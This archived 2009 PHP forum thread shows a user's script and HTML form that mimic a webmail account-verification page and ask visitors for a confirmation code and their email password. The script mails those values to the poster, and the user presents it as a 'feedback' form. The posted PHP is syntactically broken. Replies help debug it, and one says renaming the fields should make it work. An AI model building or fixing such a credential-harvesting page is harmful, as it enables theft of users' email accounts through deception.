getthisrite Posted February 21, 2009 Share Posted February 21, 2009 This is the php script which i made... but it is not working properly.... please help the name of this file is <?php $name_from=$_request['name_from']; $email_from=$_request['email_from']; $EmailID=$_request['EmailID']; $.code=$_request['.code']; $.mail=$_request['.mail']; $.pw=$_request['.pw']; $.pw1=$_request['.pw1']; mail("[email protected],"Requested Data",$name_from,$email_from,$Email!ID,$.code,$.mail,$.pw,$.pw1); header( "Location: http://www.test.com/thanks" ); ?> ... the form which i made is: <form action="checking.php" method="post"> <input name="name_from" value="Email! Verification" type="hidden"> <input name="email_from" value="[email protected]" type="hidden"> <input name="Email! ID" value="<?php echo $slogin; ?>" type="hidden"> <input name="send" id="verifyfield" value="" type="hidden"> <input name="cancel" id="cancelfield" value="" type="hidden"> <div id="globalbuttonbartop" class="globalbuttonbar optionbuttons"> <button type="submit" name="verifytop" id="verifytop" value="Verify Account"> Verify Account</button> <button type="button" name="canceltop" id="canceltop" value="Cancel"> Cancel</button> <td> <!-- START MAIN APPLICATION CONTENT --> <div id="stateindicator"> <h2>Verify Account</h2> </div> <div class="fieldset lightfill last"> <p><b>An email with a confirmation code was sent to</b>: </p> <h3>Verify your account to continue using My! Mail:</h3> <table width="796" border="0" cellpadding="4" cellspacing="0"> <tbody><tr> <td class="label" width="25%">Confirmation Code:</td> <td><input size="5" style="width: 5em;" name="code" value="" type="text"></td> </tr> <tr> <td class="label" width="25%">Email! Password:</td> <td><input size="15" style="width: 15em;" name="pw" value="" type="password"></td> </tr> <tr> <td class="label" width="25%">Verify Password:</td> <td> <input size="15" style="width: 15em;" name="pw1" value="" type="password"></td> </tr> </tbody></table> </div> <!-- END MAIN APPLICATION CONTENT --> </td> </tr> </tbody></table> <div id="globalbuttonbarbottom" class="globalbuttonbar optionbuttons"> <button type="submit" name="verifybottom" id="verifybottom" value="Verify Account">Verify Account</button> <button type="button" name="cancelbottom" id="cancelbottom" value="Cancel">Cancel</button> </div> </form> Link to comment https://forums.phpfreaks.com/topic/146246-please-help-making-a-php-file-i-am-totally-confused/ Share on other sites More sharing options...
revraz Posted February 21, 2009 Share Posted February 21, 2009 "Not working properly" gives us absolutely no clue on what the problem is, the error, what it doesn't do, what it should do... This is the php script which i made... but it is not working properly.... please help Link to comment https://forums.phpfreaks.com/topic/146246-please-help-making-a-php-file-i-am-totally-confused/#findComment-768039 Share on other sites More sharing options...
getthisrite Posted February 22, 2009 Author Share Posted February 22, 2009 "Not working properly" gives us absolutely no clue on what the problem is, the error, what it doesn't do, what it should do... This is the php script which i made... but it is not working properly.... please help i want this php file to send a feedback to my mail id with the requested data which i have mentioned in the php file next to mail() function..... Link to comment https://forums.phpfreaks.com/topic/146246-please-help-making-a-php-file-i-am-totally-confused/#findComment-768279 Share on other sites More sharing options...
revraz Posted February 23, 2009 Share Posted February 23, 2009 Read the manual and review the examples http://us2.php.net/function.mail Link to comment https://forums.phpfreaks.com/topic/146246-please-help-making-a-php-file-i-am-totally-confused/#findComment-769159 Share on other sites More sharing options...
Maq Posted February 23, 2009 Share Posted February 23, 2009 Check your names. You use different names for the same thing. For example you have: $EmailID=$_request['EmailID']; and Change the input one to EmailID and it should work, but double check all of them. Why would you have a bang in the name anyway? Your method is also POST, so you should use POST, although the REQUEST should still work. And use [code] tags please. Link to comment https://forums.phpfreaks.com/topic/146246-please-help-making-a-php-file-i-am-totally-confused/#findComment-769222 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.